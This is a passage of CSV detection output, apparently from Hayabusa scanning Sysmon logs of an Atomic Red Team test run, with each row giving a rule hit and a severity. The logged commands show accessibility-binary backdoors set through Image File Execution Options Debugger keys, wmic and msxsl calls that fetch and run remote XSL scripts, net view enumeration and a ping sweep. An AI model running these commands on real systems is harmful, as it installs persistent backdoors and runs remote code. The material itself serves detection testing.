Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:10.324 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:13.109 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\magnify.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:13.127 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\magnify.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\magnify.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:13.153 +09:00,MSEDGEWIN10,13,critical,Sticky Key Like Backdoor Usage,,rules/sigma/registry_event/registry_event_stickykey_like_backdoor.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:13.153 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:13.185 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:14.678 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\narrator.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:14.692 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\narrator.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\narrator.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:14.716 +09:00,MSEDGEWIN10,13,critical,Sticky Key Like Backdoor Usage,,rules/sigma/registry_event/registry_event_stickykey_like_backdoor.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:14.716 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:14.827 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:17.941 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\DisplaySwitch.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:17.963 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\DisplaySwitch.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\DisplaySwitch.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:17.990 +09:00,MSEDGEWIN10,13,critical,Sticky Key Like Backdoor Usage,,rules/sigma/registry_event/registry_event_stickykey_like_backdoor.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:17.990 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:18.009 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:19.467 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\atbroker.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:19.491 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\atbroker.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\atbroker.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:19.516 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:19.549 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:25.376 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:50.046 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""C:\Windows\Temp\msxsl.exe C:\AtomicRedTeam\atomics\T1220\src\msxslxmlfile.xml C:\AtomicRedTeam\atomics\T1220\src\msxslscript.xsl"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:50.086 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:53.011 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""C:\Windows\Temp\msxsl.exe https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:53.062 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:55.991 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""wmic.exe process /FORMAT:list"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:56.047 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: wmic.exe process /FORMAT:list : Path: C:\Windows\System32\wbem\WMIC.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""wmic.exe process /FORMAT:list""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:56.182 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:06.728 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""wmic.exe process /FORMAT:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:06.753 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: wmic.exe process /FORMAT:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl : Path: C:\Windows\System32\wbem\WMIC.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""wmic.exe process /FORMAT:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:06.753 +09:00,MSEDGEWIN10,1,medium,XSL Script Processing,,rules/sigma/process_creation/win_xsl_script_processing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:06.753 +09:00,MSEDGEWIN10,1,medium,SquiblyTwo,,rules/sigma/process_creation/win_bypass_squiblytwo.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:06.888 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:09.823 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""net view /domain"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:09.845 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: net view /domain : Path: C:\Windows\System32\net.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""net view /domain""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:09.845 +09:00,MSEDGEWIN10,1,low,Net.exe Execution,,rules/sigma/process_creation/win_susp_net_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:09.845 +09:00,MSEDGEWIN10,1,low,Windows Network Enumeration,,rules/sigma/process_creation/win_net_enum.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:22.314 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""net view"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:22.333 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: net view : Path: C:\Windows\System32\net.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""net view""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:22.333 +09:00,MSEDGEWIN10,1,low,Net.exe Execution,,rules/sigma/process_creation/win_susp_net_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:22.333 +09:00,MSEDGEWIN10,1,low,Windows Network Enumeration,,rules/sigma/process_creation/win_net_enum.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:34.797 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:35.014 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %%i in (1,1,254) do ping -n 1 -w 100 192.168.1.%%i"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:35.038 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.1 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:35.579 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.2 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:35.988 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.3 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:36.549 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.4 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:37.034 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.5 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:37.513 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.6 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:38.020 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.7 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:38.517 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.8 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:39.028 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.9 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:39.537 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.10 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:40.027 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.11 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:40.431 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.12 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:41.066 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.13 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:41.408 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.14 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:41.894 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.15 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:42.466 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.16 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:43.036 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.17 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:43.503 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.18 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:44.030 